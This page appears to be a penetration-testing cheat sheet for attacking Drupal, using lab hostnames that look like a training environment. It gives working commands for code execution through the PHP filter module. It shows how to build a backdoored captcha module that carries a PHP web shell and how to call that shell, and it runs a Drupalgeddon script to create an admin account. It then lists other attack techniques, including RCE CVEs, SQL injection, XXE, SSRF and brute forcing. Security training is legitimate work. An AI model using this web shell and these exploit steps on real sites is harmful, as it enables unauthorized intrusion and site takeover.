githubEdit

6. Attacking Drupal

1. PHP Filter Module Exploitation (Drupal < 8)

curl -s http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id
  • Enable PHP filter module, inject code via content.

  • Consideration: Client communication before enabling modules.

2. Backdoored Module Upload

wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' > captcha/shell.php
echo '<IfModule mod_rewrite.c>RewriteEngine On;RewriteBase /</IfModule>' > captcha/.htaccess
tar cvf captcha.tar.gz captcha/captcha/
curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id
  • Upload malicious module via admin panel.

  • Consideration: Avoid modifying production systems without explicit permission.

3. Drupalgeddon (CVE-2014-3704)

python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd
  • Create admin user via SQL injection.

  • Consideration: Impact of creating unauthorized admin accounts.

4. Drupalgeddon2 (CVE-2018-7600)

  • RCE via user registration form.

  • Consideration: Severity of unauthenticated RCE vulnerabilities.

5. Drupalgeddon3 (CVE-2018-7602)

  • RCE via Form API (requires authenticated session).

  • Consideration: Session hijacking risks.

6. Drupal Configuration File Exploitation/Security

  • Check for exposed settings.php, extract database credentials.

  • Consideration: Secure configuration file permissions and access.

7. Database Exploitation (SQL Injection - Expanded)

  • Manual and automated SQL injection testing.

  • Consideration: Validate findings with alternative tools.

8. Form API Exploitation

  • Consideration: Burp Suite is very helpful for deeper analysis.

9. File Upload Vulnerabilities

  • Test various file extensions.

  • Consideration: Look for MIME type enforcement.

10. Access Control Vulnerabilities

  • Check for 200 response when not authenticated.

  • Consideration: Test different user roles.

11. Session Management Vulnerabilities

  • Use Burp Suite's Sequencer and Session handling rules.

12. XML External Entity (XXE) Injection

13. Server-Side Request Forgery (SSRF)

  • Consideration: Check response for internal metadata leaks.

14. Drupal Brute Forcing

  • Consideration: Use specific tools for Drupal authentication mechanisms.

Additional Notes:

  • Ensure Drupal versions are known before testing specific exploits.

  • Use enumeration tools like droopescan for discovering modules and themes.

  • Test patches and mitigations post-exploitation to ensure security fixes.

Last updated